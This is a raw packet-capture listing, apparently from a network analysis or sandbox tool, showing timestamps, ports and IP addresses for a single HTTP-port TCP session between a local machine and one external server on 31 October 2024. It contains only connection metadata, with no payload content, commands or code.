Oct 31, 2024 03:03:29.985593081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.010250092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.010268927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.010279894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.010346889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.010379076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.010381937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.010397911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.010410070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.010421038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.010433912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.010441065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.010442972 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.010447979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.010458946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.010497093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.010507107 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.010509968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.010524988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.010565996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.010948896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.010960102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.010976076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.010987043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.010998011 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.011023998 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.051079035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.051093102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.051105022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.051151037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.051178932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.060842991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.060921907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.060933113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.060944080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.060970068 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.061000109 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.061016083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061028004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061038971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061064959 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.061074018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061085939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061094999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061116934 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.061136007 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.061151028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061161041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061209917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.061248064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061258078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061265945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061278105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061290026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061294079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.061326027 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.061415911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061454058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061464071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061467886 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.061475039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061515093 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.061574936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061608076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061625004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.061654091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061664104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061712980 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.061717033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061729908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061739922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.061759949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.061793089 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.129648924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.129718065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.129755020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.129797935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.129821062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.129882097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.129882097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.129918098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.129952908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.129966974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.129988909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.130033970 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.130042076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.130075932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.130112886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.130122900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.130147934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.130182981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.130198956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.130215883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.130250931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.130260944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.130285025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.130330086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.130330086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.130363941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.130398035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.130407095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.170267105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.170299053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.170344114 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.179846048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.179879904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.179914951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.179935932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.179986954 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.180011034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180063963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180099010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180109978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.180133104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180164099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180180073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.180217028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180263042 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.180269957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180304050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180339098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180372000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180408001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180439949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180479050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.180490971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180521011 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.180521011 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.180541039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180576086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180600882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.180625916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180661917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180679083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.180715084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180752039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180767059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.180785894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180819035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180835962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.180850029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180881977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180896997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.180917978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180952072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.180962086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.180989027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.181035042 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.248508930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.248534918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.248608112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.248619080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.248631954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.248632908 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.248656988 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.248692036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.248703003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.248714924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.248728037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.248739004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.248739958 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.248770952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.248791933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.248815060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.248826981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.248838902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.248852968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.248864889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.248899937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.248907089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.248963118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.248974085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.249006033 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.249020100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.249031067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.249070883 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.298645973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.298657894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.298666954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.298682928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.298696995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.298706055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.298707008 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.298722029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.298743963 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.298774004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.298777103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.298788071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.298813105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.298823118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.298830986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.298865080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.298903942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.298954964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.298962116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.298971891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.299005032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.299012899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.299016953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.299071074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.299145937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.299154997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.299160957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.299204111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.299205065 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.299218893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.299243927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.299375057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.299405098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.299413919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.299421072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.299448013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.299453020 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.299459934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.299479961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.299499989 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.299679041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.299721956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.299729109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.299737930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.299776077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.367772102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.367782116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.367793083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.367820978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.367830992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.367837906 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.367841005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.367868900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.367904902 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.367917061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.367925882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.367935896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.367947102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.367959023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.367990971 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.367991924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.368004084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.368012905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.368029118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.368032932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.368038893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.368052959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.368062019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.368071079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.368097067 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.368125916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.368134975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.368165016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.417541027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.417551994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.417562008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.417592049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.417603016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.417608023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.417613983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.417627096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.417640924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.417675018 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.417680979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.417725086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.417747021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.417758942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.417768955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.417805910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.417840004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.417853117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.417884111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.417896032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.417901039 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.417921066 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.417964935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.418046951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.418056965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.418070078 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.418080091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.418091059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.418103933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.418131113 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.418184996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.418226004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.418236017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.418272018 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.418297052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.418308020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.418319941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.418335915 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.418350935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.418354988 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.418364048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.418375969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.418405056 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.418565035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.418576002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.418585062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.418637037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.418637037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.486776114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.486798048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.486809015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.486851931 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.486872911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.486884117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.486895084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.486906052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.486917019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.486923933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.486928940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.486974955 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.486974955 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.486987114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.486998081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.487034082 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.487117052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.487128019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.487143040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.487159014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.487171888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.487181902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.487183094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.487216949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.487230062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.487241983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.487250090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.487256050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.487282991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.487292051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.536755085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.536773920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.536787033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.536798954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.536819935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.536830902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.536839962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.536842108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.536854029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.536866903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.536876917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:30.536880016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:30.536887884 CET	49744	80	192.168.2.4	185.215.113.16
